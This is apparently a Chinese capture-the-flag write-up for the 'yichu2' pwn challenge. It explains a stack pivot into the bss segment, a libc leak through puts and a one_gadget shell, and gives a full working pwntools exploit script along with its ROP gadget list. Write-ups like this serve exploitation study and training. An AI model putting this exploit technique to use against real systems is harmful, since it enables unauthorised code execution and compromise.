yichu2 wp

做了这道题才算是理解栈迁移了,之前那道栈迁移没搞懂原理就交差了(😓
此题64位,保护仅开启nx,strings里面没有system/bin/sh,考虑泄露libc基址
本题有两次输入


第一次输入写入bss段上的一个地址,该地址起始为0x404080
第二次输入buf,距离rbp为0x20,但是限制输入长度为0x30,则溢出长度仅有0x8字节长,正常的rop链肯定行不通,于是考虑栈迁移
栈迁移本质是利用两次leave(将函数结束后的ret_addr覆盖为leave_ret_addr即可,劫持rsp寄存器,以及一次ret达到利用的目的;下面是栈迁移的大致手绘思路(栈地址那块应为old_rbp

第一次输入可以布置ROP链,第二次输入进行栈迁移
选择在bss_addr+0x60处进行布置,可以避免访问修改了与bss段相邻的got表,但第一次输入是在bss_addr处开始,则我们需要0x60的padding填充
此题只需迁移1次栈,则迁移后伪栈的布置的fake_addr可为任意值(如0xdeadbeef
此后开始ROP链布置,第一次先泄露出libc基址,然后返回第二次溢出的read处,即vuln()处;
另外,此题溢出长度较短,无法传参调用system(/bin/sh),只能使用one_gadget
还需要注意的一点是,最后read的padding为0x27而不是0x28在于末尾会多出一个换行符,如果0x28则会导致最后ret地址多出1个字节内容,如图

正常情况下可以getshell

exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./yichu2")
elf=ELF("./yichu2")
libc=ELF("./libc-2.27.so")

puts_plt=elf.plt[b"puts"]
puts_got=elf.got[b"puts"]
start=elf.sym[b"main"]

vuln=0x401227
pop_rdi_ret=0x4012a3
leave_ret=0x4011e0
bss_addr=0x404080 #0x404080
payload1=cyclic(0x60)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
# payload1=p64(one_gadget)

io.recvuntil(b"Name:\n")
io.sendline(payload1)

# gdb.attach(io)
# pause()

io.recvuntil(b"ffer:\n")
payload2=cyclic(0x20)+p64(bss_addr+0x60)+p64(leave_ret)
io.sendline(payload2)


base_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))-libc.sym[b"puts"] 
print("base_addr:  "+hex(base_addr))
one_gadget=0x4f322+base_addr
print("one_gadget:  "+hex(one_gadget))
# str_bin_sh=base_addr+next(libc.search(b"/bin/sh"))
# print("str_bin_sh:  "+hex(str_bin_sh))

# sys_addr=base_addr+libc.sym[b"system"]
# print("sys_addr:  "+hex(sys_addr))

payload2=cyclic(0x27)+p64(one_gadget)
io.sendline(payload2)

io.interactive()




# Gadgets information
# ============================================================
# 0x00000000004011e0 : leave ; ret
# 0x000000000040129c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040129e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004012a0 : pop r14 ; pop r15 ; ret
# 0x00000000004012a2 : pop r15 ; ret
# 0x000000000040129b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040129f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040115d : pop rbp ; ret
# 0x00000000004012a3 : pop rdi ; ret
# 0x00000000004012a1 : pop rsi ; pop r15 ; ret
# 0x000000000040129d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret

# Unique gadgets found: 12
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL